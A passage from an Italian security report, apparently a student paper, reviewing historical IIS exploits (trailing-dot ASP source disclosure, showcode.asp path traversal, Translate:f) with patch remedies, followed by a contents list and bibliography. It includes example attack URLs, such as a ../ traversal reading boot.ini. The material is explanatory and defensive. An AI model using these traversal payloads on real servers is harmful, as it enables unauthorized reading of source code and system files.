finale il suo corrispondente valore esadecimale (0x2e):Rimedi:
Questo exploit può essere in parte eliminato con l’istallazione di una patch per ISS recuperabile sul
sito http://www.html.it/menu_fr.asp?link=http://support.microsoft.com/support/kb/articles/q233/3/35.asp.
Tuttavia, lo stesso tipo di baco si ripresenta nei sistemi con IIS 3 che hanno applicato la patch resa
disponibile da Microsoft per eliminare il problema del punto, semplicemente utilizzando in sostituzione
del punto finale il suo corrispondente valore esadecimale (0x2e):
http://www.target.com/example.asp%2easp
Codebrws.asp - Showcode.asp - (IIS 4)
Questi due sorgenti sono la causa di una anomalia di funzionamento che consente ad un aggressore di
visualizzare il contenuto di altri file, anche di sistema, esterni alla gerarchia di directory del server Web.
Gli script
codebrws.asp
e showcode.asp vengono installati soltanto nell'ipotesi in cui
durante
l'installazione di IIS 4 venga richiesta anche l'installazione degli script ASP di esempio.
Il problema risiede nella mancanza di un controllo sui parametri della URL ed, in particolare, nella
incapacità di gestire correttamente l'uso di ".." nella impostazione del path del file.
Sfruttando questa debolezza risulta possibile ottenere la visualizzazione ad esempio del file di sistema
boot.ini mediante semplice una URL:
http://www.target.com/msdac/sample/ SELECTOR/showcode.asp=source=/../../../../../boot.ini
L'uso di questo stratagemma comunque incontra delle limitazioni nel senso che esso:
1
consente soltanto la visualizzazione dei file e non la loro modifica;
2
non è in grado di bypassare l'esistenza di eventuali access control list (ACL);
3
funziona soltanto relativamente ai file presenti all'interno della partizione dove risiede IIS;
4
presuppone la conoscenza da parte dell'aggressore della locazione esatta dei file;
Rimedi:
La
soluzione a quest'exploit è l'istallazione
di una patch per ISS
recuperabile sul sito
http://www.html.it/menu_fr.asp?link=http://www.microsoft.com/technet/security/bulletin/ms99-013.asp.
TRANSLATE:F - (IIS 4/IIS 5)
Il protocollo WebDAV e le estensioni FrontPage 2000 Server sono la causa del bug Traslate:f. che è
tipico dei sistemi IIS 5 anche se, essendo le estensioni di FrontPage 2000 applicabili ad IIS 4, ne
risultano colpiti pure i sistemi con la versione 4 di Internet Information Server. In particolare in questi
ultimi sistemi il bug sembra verificarsi soprattutto con riferimento ai file che risiedono in directory
condivise.
L'anomalia
si manifesta attraverso la
richiesta di esecuzione di uno script
ASP/ASA, inserendo
nell'header della richiesta GET la stringa "Translate:f" ed aggiungendo alla fine della URL una serie di
slash "../../../../". In questo modo può essere ottenuta la visualizzazione del codice sorgente di uno script
oppure anche del contenuto di altri file, il che può condurre alla scoperta di informazioni delicate relative
a password, account utente, path di database, etc...Rimedi:
Applicazione
del
Service
Pack
1
per
Windows
2000
scaricabile
direttamente
http://www.html.it/menu_fr.asp?link=http://support.microsoft.com/support/kb/articles/Q260/9/10.ASP.
da:
INDICE
 Protezione

dominio di protezione

matrice di accesso
 Sicurezza

autenticazione dell’utente;password

pericoli per i programmi:



cavallo di troia

trabocchetti
pericoli per il sistema:

worm

virus
Antivirus
Sicurezza e Protezione sul web
 Individuazione dei rischi
 Un approccio per il miglioramento dei livelli di sicurezza
 Scelta del sistema operativo
 Configurazione della rete
 Configurazione di base del server
 Uso di programmi esterni e script
 Progettazione web di qualità
 Identificazione ed uso di meccanismi di LOGGING e AUDITING
 Il mantenimento di integrità delle risorse.
 Rassegna degli “exploit” storicamente più famosi.
BIBLIOGRAFIA
 Sistemi Operativi – Silbershatz e Galvin – ADDISON WESLEY
 Guida ai VIRUS dei Computer – Haynes – Jackson libri.
 La Sicurezza in Windows 2000 – Schmidt – McGraw HILL.
 HACK PROOFING – Russel & Cunningam – McGrawHILL.